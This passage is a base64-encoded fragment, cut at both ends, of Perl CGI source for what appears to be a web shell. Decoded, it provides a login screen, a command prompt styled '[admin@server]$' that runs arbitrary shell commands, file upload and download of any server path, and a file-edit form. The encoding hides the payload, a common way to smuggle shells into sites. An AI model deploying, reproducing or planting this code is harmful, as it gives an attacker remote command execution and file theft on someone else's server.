udFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW